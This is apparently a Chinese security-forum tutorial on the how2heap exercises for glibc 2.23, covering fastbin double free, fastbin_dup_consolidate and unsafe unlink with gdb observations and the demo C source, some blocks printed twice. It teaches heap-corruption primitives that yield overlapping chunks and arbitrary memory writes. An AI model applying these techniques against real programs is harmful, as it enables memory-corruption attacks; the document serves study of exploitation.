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[原创]深入理解how2heap_2.23（2）
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发表于: 2023-8-7 01:18
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源码
使用ubuntu:16.04编译，
然后使用pwncli修改运行环境。
malloc三次相同大小的堆块后，在0x400700下断点。
观察堆结构。
依次释放堆块a,b后，在0x4007CF下断点。
观察fastbin结构。
再次释放a,形成double free后，在0x4007F8下断点。
观察fastbin结构，已经形成ABA结构。
此时依次申请a,b,c三个相应大小的堆块，将会依次摘出a,b,a,
fastbin中a->b->a->b...这条链子会一直存在，不断从头部取出相应大小的堆块。
申请a后，在0x400835下断点（rax保存了_malloc函数的返回值）。
此时fastbin结构，形成了BAB结构。
同样，申请完b后在0x400843下断点。
此时fastbin结构，又形成了ABA结构。
同样申请完c后在0x400851下断点。
此时fastbin结构，再次形成BAB结构。
此时a和c指向同一地址。
源码
calloc p1堆块后，在0x4006C5处下断点。
查看堆结构， 可以看到多出来一块0x411大小的堆块。
这个堆块是puts的缓冲区。puts函数用于将字符串输出到标准输出流（stdout），而标准输出流是一个文件流，需要在内存中分配一块缓冲区来存储输出的字符串，下图是其分配过程。
free(p1)后，p1会优先进入fastbins。
再次申请0x400（实际大小为0x410）的chunk。
在gdb里s步入调试，可以看到触发了malloc_consolidate机制。原因如下，因为libc再分配large chunk时，fastbin中有p1这个chunk存在，所以会调用malloc_consolidate()函数整合fastbins中的chunk，并放入unsorted bin或top_chunk;然后unsorted bin中的chunk又会被取出放入各自对应的bins。(这个bins为small bin和large bin。这也是chunk唯一进入small bin和large bin的机会)。
malloc_consolidate()函数执行完以后，因为p1与top_chunk相邻，所以p1被合并到了top_chunk。top_chunk的基址也变成了p1的prev_size的地址。
然后malloc函数会从top_chunk获取chunk，那么p1的地址就已经和p3指向同一块地址了。
此时再次free(p1)，在0x40076c处下断点。
由于p1和p3指向同一个大小为0x411的chunk,而这个chunk又和top_chunk相邻，所以会再次被合并到top_chunk。
如果这个时候，我们再次申请一个chunk，在0x40077A处下断点。
那么这个chunk的地址还会与p1 && p3的地址一样。
至此p1,p3,p4指向了同一块chunk。
源码
当然，其实chunk0_ptr并不一定是一个全局指针。以下代码在glibc2.23依然起作用。
简单介绍一下unlink，CTF Wiki里有介绍，简单总结如下：
首先申请两块smallbin_chunk。
为了绕过unlink检查，这里将全局的chunk0_ptr+0x10(chunk0_ptr[2])处的内容改为chunk0_ptr-0x18的地址，注意这里chunk0_ptr[2]指向的是全局变量的地址。
同样，接下来将chunk0_ptr[3]的内容改为chunk0_ptr-0x10的地址。
chunk0_ptr位置在bss节。
此时chunk0的堆结构。可以看到chunk0_ptr指向chunk0_fd(0x603010)的位置。chunk0_fd_nextsize和chunk0_bk_nextsize已被修改为全局变量（bss节）处的地址。
用图来表示如下
接下来cdqe指令将EAX寄存器中的DWORD(32 位值)符号扩展为RAX寄存器中的 QWORD(64 位值)。然后利用shl指令逻辑左移三位，再利用neg指令求补。最后也就是将chunk1_hdr的内容改为chunk1_ptr-2（chunk1_prev_size）的地址。
接下来将chunk1_hdr[0]改为0x80大小，也就是chunk1的prev_size位变为0x80。
然后利用and指令（与运算有零则零）把chunk1_hdr+1也就是chunk1_size的PREV_INUSE位改为0。
现在堆结构如图。因为chunk_prev_size=0x80,所以P_chunk如下
然后把chunk1给free()掉因为其PREV_INUSE为0，又是small bin大小，触发unlink，要将P这个fake chunk摘除。
那么此时FD=P->FD和BK=P->bk，FD->bk == P, BK->fd == P。可以能够看到成功绕过glibc2.23检查。注意，我画的时候是根据布局画的，堆由低向高地址增长（由高向低画），bss由低向高画的。
接下来执行 两步操作 FD->bk=BK, BK->fd=FD。FD和BK只相差0x8字节大小。第一步会把chunk0_ptr指向低0x10字节处（0x602068），第二步把chunk0_ptr指向低0x18字节处（0x602060），最终chunk0_ptr指向了0x602060处。chunk0_ptr = 0x602060，我们向chunk0_ptr写入内容时就会从0x602060开始向高地址写，我们发现，写到高0x18时，写到了我们保存写入地址指针的地址，这个地址(chunk0_ptr的物理地址0x602078)存储的地址(0x602060)就是我们开始写的地址，也就是chunk0_ptr指向的地址。
可以看到，chunk0_ptr指向的地址由*chunk0_ptr-0x18保存，修改*chunk0_ptr-0x18存储的地址(0x602060)，也就修改了写入的起始地址，也就是chunk0_ptr指向的地址，我们会从这个新地址重新开始写，也就达到了任意地址写的效果。这只是其中一种用法，建议看例题来加深理解。
我们也可以通过从0x602060开始向高地址覆盖，覆盖到0x602078处时，修改这里保存的地址，然后下次写时就会从修改的这个新地址开始写入。
#include <stdio.h>#include <stdlib.h>#include <assert.h>int main()
{ fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = malloc(8);
b = malloc(8);
c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
assert(a == c);
}#include <stdio.h>#include <stdlib.h>#include <assert.h>int main()
{ fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = malloc(8);
b = malloc(8);
c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
assert(a == c);
}#include <stdio.h>#include <stdlib.h>#include <assert.h>void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");
void* p1 = calloc(1,0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);
void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");
assert(p1 == p3);
printf("Triggering the double free vulnerability!\n\n");
free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);
printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}#include <stdio.h>#include <stdlib.h>#include <assert.h>void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");
void* p1 = calloc(1,0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);
void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");
assert(p1 == p3);
printf("Triggering the double free vulnerability!\n\n");
free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);
printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}使用ubuntu:16.04编译并使用pwncli改写rpath。
使用ubuntu:16.04编译并使用pwncli改写rpath。
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>#include <assert.h>uint64_t *chunk0_ptr;int main()
{ setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>#include <assert.h>[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
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